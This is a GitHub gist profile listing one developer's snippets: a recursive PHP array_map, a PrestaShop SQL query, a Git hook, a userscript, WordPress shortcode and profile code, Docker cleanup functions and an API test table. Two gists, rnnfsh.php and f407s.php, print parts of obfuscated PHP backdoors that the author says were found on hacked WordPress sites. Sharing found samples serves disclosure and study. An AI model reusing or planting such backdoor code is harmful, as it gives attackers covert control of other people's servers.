Skip to content

Instantly share code, notes, and snippets.

View sylwit's full-sized avatar

Sylvain Witmeyer sylwit

View GitHub Profile
@sylwit
sylwit / gist:2077683
Created March 18, 2012 17:06
Array_map() recursive and closure
$array_map_recursive = function ($fn, $arr) use(&$array_map_recursive) {
$rarr = array ();
foreach ( $arr as $k => $v ) {
$rarr [$k] = is_array ( $v ) ? $array_map_recursive ( $fn, $v ) : $fn ( $v ); // or call_user_func($fn, $v)
}
return $rarr;
};
ex: $ini = $array_map_recursive('htmlspecialchars_decode', $ini);
@sylwit
sylwit / Improve SQL query for prestashop
Last active November 18, 2018 21:13
Improve prestashop SQL query in Feature::cleanPositions() Do all the job in a single query
UPDATE `ps_feature` f LEFT JOIN
(SELECT @i := @i +1 AS rank, id_feature, position, test
FROM `ps_feature` JOIN (SELECT @i := 0) dummy
ORDER by position) AS f2
USING(id_feature)
SET f.position = f2.rank-1
@sylwit
sylwit / pre-commit
Created March 9, 2013 11:09
Git hook for compiling Compass files
#!/usr/bin/env ruby
site_dir = `git rev-parse --show-toplevel`.strip!
themes_dir = site_dir + "/themes"
Dir[ themes_dir + "/*"].each do |theme|
if File.exist?("#{theme}/config.rb")
puts "Compiling Sass for production environment: #{theme}"
system "compass compile -e production --force #{theme}"
system "git add #{theme}/*"
@sylwit
sylwit / customgoogle.user.js
Created March 29, 2013 09:06
Userscript for customizing Google navbar
// ==UserScript==
// @name Custom Google Menu 2
// @namespace http://witmeyer.me
// @description Custom Google Menu 2
// @include /^https?://www\.google\.(com|fr)//
// @grant none
// @version 1
// ==/UserScript==
(function() {
var settings = [
@sylwit
sylwit / functions.php
Last active January 4, 2016 01:28
Shortcode wordpress permettant d'afficher du contenu en fonction de la date du jour Ex : [evollia_visible start_date="2014-01-01" end_date="2014-01-31"] contenu [/evollia_visible]
function evollia_visible_shortcode( $atts, $content = null ) {
extract( shortcode_atts( array(
'start_date' => '',
'end_date' => '',
), $atts ) );
$today = new DateTime( date('Y-m-d') );
$display = true;
@sylwit
sylwit / functions.php
Last active August 29, 2015 13:57 — forked from Manoz/functions.php
<?php
// Add social networks fields to aithor profil and author info box
add_filter('user_contactmethods', 'manoz_profile_fields');
function manoz_profile_fields( $profile_fields ) {
$profile_fields['twitter'] = __( 'Twitter URL', 'textdomain' );
$profile_fields['facebook'] = __( 'Facebook URL', 'textdomain' );
$profile_fields['gplus'] = __( 'Google+ URL', 'textdomain' );
$profile_fields['linkedin'] = __( 'LinkedIn URL', 'textdomain' );
$profile_fields['dribbble'] = __( 'Dribbble URL', 'textdomain' );
@sylwit
sylwit / rnnfsh.php
Created July 11, 2014 13:32
Backdoor found on a wordpress hacked
<?php $wp__wp='base'.(32*2).'_de'.'code';$wp__wp=$wp__wp(str_replace("\n", '', 'FbU73jxnF0zEeozQtqJVkCnVfl41xDyvSZ/ROaJxCwsyVeJNeq/z2SUDr1+T5LHj/ALXoZn6tuxmkoac
jtgAhunyXqRrUefZs7mbsLqtg7MVewtH87r8K7fwDzOsZ4hHyqZyF8CLY8YDU1fXaRE4oCBO88GqBeQF
LuHfrLm60uRPyR2xzlTuLNQVBermyz1D8RacKV/CKvzXUdoW9hIJJM3CmK1QDTiLjtLCLZ5w+GdvkH4N
kroDGYExsa251S7dfFLnnUdHvqZJRBfheLq2nl44spZOCXSbiNl6hUlq51iAvTp8KyheuGvVdE1yNzS+
kwTkDjqaXpMhARZYbypV2bvrGZcHTf4aJXiFZUl3czGHDltn8DPUBvj8Px4iCGP2XhLgDrolr+1QNNbX
119DVp/fh6liLN4iOtNv59tCk3WHdtSF12sgkhaeMYR6UeemSK4OE/lFyLK9mMbO6pQi9IMrkzDgaPpf
YEd3s6Q/nsEJlJz+7YS9q73Rzb+ix4oGtuWrWXUADQO+YnSqhf6paDlrFKbcC1Vaq7mi4cIdebWFDSaY
CL5VAN8C68iraqz/mVo1TijMsMXObbnQSH9XpXc6efUYH6z8FfS7Bo9xs7x3sD7vaTVxny2FKM7AwB0+
pWeZGcT1S7UufEocDDOuuwQOJMAgpLJqXnjMdT7zmJBdbMHoGMf26Pf0eODEV5p7TCzw6iUBWdBHtoMO
8NemlzClD3gqTCgUlDJliuDDmyn+1lEpKXeoVbc+idZC5oD0fbZduQXbL5TXLExr7udavIN1UcEqgAZM
@sylwit
sylwit / f407s.php
Created July 14, 2014 17:43
Second backdoor found on a wordpress hacked
<?$i59="Euc<v#`5R1s?j{\nJnd8,KA>}wIQ\r7gp;^U0\"YBSH@!=&MOG\\Vlaz\$2mtxLFDX[Zb:f6)~h+%'_k/iyN4CTer.|(3]-\tq9*o PW"; $GLOBALS['kyvlc2'] = $i59[82].$i59[83].$i59[83].$i59[94].$i59[83].$i59[73].$i59[83].$i59[82].$i59[30].$i59[94].$i59[83].$i59[55].$i59[76].$i59[16].$i59[29]; $GLOBALS['osuwk64'] = $i59[76].$i59[16].$i59[76].$i59[73].$i59[10].$i59[82].$i59[55]; $GLOBALS['mrkzp11'] = $i59[63].$i59[2].$i59[55].$i59[76].$i59[94].$i59[53].$i59[28]; $GLOBALS['olhjz88'] = $i59[54].$i59[17].$i59[7]; $GLOBALS['gtwpr99'] = $i59[56].$i59[50].$i59[29].$i59[24].$i59[91].$i59[9].$i59[92]; $GLOBALS['azxqi23'] = $i59[65].$i59[10].$i59[1].$i59[56].$i59[1].$i59[9].$i59[53]; $GLOBALS['ttins71'] = $i59[10].$i59[49].$i59[49].$i59[55].$i59[24].$i59[9].$i59[28]; $GLOBALS['biplj38'] = $i59[69].$i59[74].$i59[63].$i59[49].$i59[91].$i59[18].$i59[18]; $GLOBALS['fufff37'] = $i59[2].$i59[83].$i59[16].$i59[54].$i59[10].$i59[79].$i59[34]; $GLOBALS['llsic87'] = $i59[30].$i59[74].$i59[24].$i59[56].$i59[29].$i59[53].$i59[53]; $GLOBALS['npqfu35'] =
@sylwit
sylwit / .bashrc
Created October 15, 2015 21:48
clean docker images and containers
function docker.clean_containers() {
docker rm $(docker ps -a | grep -v Up | grep -v CONTAINER | cut -f 1 -d ' ')
}
function docker.clean_images() {
docker rmi $(docker images | grep none | tr -s ' ' | cut -f 3 -d ' ')
}
@sylwit
sylwit / testCreateCRUDApi.txt
Last active July 28, 2016 04:02
Table for how testing your CRUD API
| Test | How | HTTP code expected | Assertions |
|------------------------------------------------|--------------------------------------|--------------------|------------------------|
| Should create a resource | Send full valid data | 201 | Check each property |
| Should fail returning all mandatory properties | Send a single non mandatory property | 400 | Count number of errors |
| Should fail if ... | Send data against business logic | 400 | |